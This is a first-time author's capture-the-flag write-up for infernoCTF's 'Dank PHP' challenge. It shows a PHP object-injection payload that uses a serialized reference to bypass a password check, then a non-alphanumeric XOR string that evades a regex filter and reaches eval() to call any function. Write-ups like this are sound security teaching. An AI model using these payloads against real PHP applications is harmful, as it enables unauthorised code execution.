# Dank PHP1) Intro2) First problem, the ID3) Second problem, the $\_(]" language
## IntroLet's see what's the goal here```secret = $flag1;    if ($usr->name === "admin" && $usr->pass === $usr->secret) {      echo "Congratulation! Here is something for you...  " . $usr->pass;      if (isset($_GET['caption'])) {        $cap = $_GET['caption'];        if (strlen($cap) > 45) {          die("Naaaah, Take rest now");        }        if (preg_match("/[A-Za-z0-9]+/", $cap)) {          die("Don't mess with the best language!!");        }        eval($cap);        // Try to execute echoFlag()      } else {        echo "NVM You are not eligible";      }    } else {      echo "Oh no... You can't fool me";    }
  } else {    echo "are you trolling?";  }
} else {  echo "Go and watch some Youthoob Tutorials Kidosss!!";} ```The goal is to reach this point`eval($cap);`
eval() is used to execute the code passed in parameterTo reach it, we have to go through all these if.
## First problem, the ID
Let's see the first if.` if (isset($_GET['id']) { `
We need a 'id' value in the URL` http://104.197.168.32:17010/?id=test`It works !
Next if, we need to valid value for this if :` if ($usr) { `
`$usr` is defined if `$_GET['id']` is unserializable.Let's made a unserializable "user" object with admin in name
![](https://i.imgur.com/jqm7EOR.png)
So now the URL is ` 104.197.168.32:17010/?id=O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";s:4:"test";s:6:"secret";s:4:"test";} `
Now, let's set the value of 'pass' as a reference to 'secret'
![](https://i.imgur.com/fqgJFPd.png)
` 104.197.168.32:17010/?id=O:4:"user":3:{s:4:"name";s:5:"admin";s:4:"pass";N;s:6:"secret";R:3;} `
And it works ! We have the first part of the flag : `infernoCTF{pHp_1s_`
## Second problem, the $\_(]" languageNow we have to get the second part of the flag, by executing `echoFlag()`BUT, with this if : ` if (preg_match("/[A-Za-z0-9]+/", $cap)) { `, we can't use alphanumeric characters.So, after a few research, i found the [works of @mvisat](https://gist.github.com/mvisat/03592a5ab0743cd43c2aa65bf45fef21)
![](https://i.imgur.com/LrZSqWS.png)
With a few modifications, it gave us ``$_="`{{{"^"?<>/";${$_}['_']();``, which is the same as `$_GET["_"]();`
Now we give echoFlag as a parameter to the url.
Final url : ``http://104.197.168.32:17010/?id=O:4:%22user%22:3:{s:4:%22name%22;s:5:%22admin%22;s:4:%22pass%22;N;s:6:%22secret%22;R:3;}&caption=$_="`{{{"^"?<>/";${$_}['_']();&_=echoFlag``
![](https://i.imgur.com/iKQcFSt.png)
It gives us the end of the entire flag : `infernoCTF{pHp_1s_a_h34dache}`
-----------------------------------------------
_If you have any questions, you can pm me on Discord, nhy47paulo#3590_
_PS: It's my first writeup, so tell me if you have any advices or remarks ^^_
_PPS: i'm French, sorry for the mistakes. ^^_